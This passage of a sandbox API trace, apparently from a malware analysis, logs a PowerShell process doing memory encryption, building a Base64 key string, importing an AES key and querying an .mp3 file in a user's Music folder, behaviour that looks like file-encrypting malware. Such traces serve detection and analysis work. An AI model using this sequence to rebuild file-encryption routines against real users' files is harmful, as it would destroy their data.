(param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0234.809] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.809] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0234.809] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0234.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0234.809] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.809] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0234.809] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0234.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0234.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0234.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0234.810] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.810] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0234.810] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0234.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0234.810] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.810] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0234.810] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0234.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0234.812] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.812] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0234.812] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0234.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0234.812] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.812] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0234.812] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0234.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0234.813] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.813] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0234.813] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0234.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0234.813] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.813] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0234.813] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0234.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0234.813] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.813] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0234.813] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0234.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0234.813] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.814] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0234.814] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0234.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0234.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0234.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0234.814] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.814] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0234.815] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0234.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0234.815] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.815] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0234.815] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0234.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0234.815] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.815] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0234.815] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0234.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0234.815] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.816] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0234.816] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0234.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0234.816] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.816] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0234.816] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0234.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0234.816] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.816] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0234.816] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0234.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0234.816] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.816] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0234.817] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0234.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0234.817] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.817] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0234.817] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0234.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0234.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0234.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0234.817] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.818] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0234.818] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0234.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0234.818] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.818] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0234.818] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0234.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0234.818] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.818] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0234.818] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0234.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0234.818] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.819] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0234.819] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0234.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0234.819] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.819] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0234.819] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0234.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0234.819] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.819] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0234.819] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0234.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0234.819] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.820] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0234.820] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0234.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0234.820] SystemFunction041 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.820] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0234.820] SystemFunction040 (in: Memory=0x5c9ad14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ad14) returned 0x0 [0234.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0234.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0234.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0234.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0234.820] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0234.821] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0234.821] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0234.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0234.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0234.821] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0234.821] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0234.821] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0234.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0234.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0234.821] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0234.821] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0234.821] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0234.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0234.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0234.821] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0234.822] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0234.822] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0234.822] EtwEventActivityIdControl () returned 0x0 [0234.822] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0234.822] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0234.822] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0234.822] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0234.823] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cee0) returned 1 [0234.825] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x24f0f18*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99860) returned 1 [0234.825] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0234.825] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.826] EtwEventActivityIdControl () returned 0x0 [0234.826] EtwEventActivityIdControl () returned 0x0 [0234.826] EtwEventActivityIdControl () returned 0x0 [0234.832] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\2-hxc4lfdhsq_mkvo.mp3")) returned 0x20 [0234.833] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\m5v7vilpsbu fn\\2-hxc4lfdhsq_mkvo.mp3")) returned 0x20 [0234.833] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0234.833] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", nBufferLength=0x56, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\M5V7viLPSBu Fn\\2-hXC4LFdHsq_mKvo.mp3", lpFilePart=0x0) returned 0x55 [0234.833] EtwEventActivityIdControl () returned 0x0 [0234.834] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.834] EtwEventActivityIdControl () returned 0x0 [0234.834] EtwEventActivityIdControl () returned 0x0 [0234.834] EtwEventActivityIdControl () returned 0x0 [0234.835] GetFullPathNameW (in: 